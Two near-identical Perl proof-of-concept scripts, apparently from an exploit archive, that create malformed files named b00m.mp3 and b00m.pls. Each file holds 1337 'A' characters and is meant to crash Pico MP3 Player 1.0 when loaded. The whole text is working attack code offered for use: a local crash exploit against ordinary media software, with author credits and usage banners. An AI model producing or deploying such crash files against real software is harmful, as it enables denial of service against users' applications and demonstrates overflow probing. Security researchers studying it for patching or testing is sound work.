1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
#!/usr/bin/perl ######################################################### ## Usage-->>file created-->>load file-->>b00m.mp3 >>>BOOM ######################################################### print "#####################################################\n"; print "[!] Pico MP3 Player 1.0 (.mp3) Local Crash PoC\n"; print "\n"; print "[!] Author: cr4wl3r\n"; print "[!] Mail: cr4wl3r[!]linuxmail.org\n"; print "#####################################################\n"; my $boom = "A" x 1337; my $filename = "b00m.mp3"; open (FILE,">$filename"); print FILE "$boom"; print "\nFile successfully created!\n"; #!/usr/bin/perl ######################################################### ## Usage-->>file created-->>load file-->>b00m.pls >>>BOOM ######################################################### print "#####################################################\n"; print "[!] Pico MP3 Player 1.0 (.pls) Local Crash PoC\n"; print "\n"; print "[!] Author: cr4wl3r\n"; print "[!] Mail: cr4wl3r[!]linuxmail.org\n"; print "#####################################################\n"; my $boom = "A" x 1337; my $filename = "b00m.pls"; open (FILE,">$filename"); print FILE "$boom"; print "\nFile successfully created!\n"; |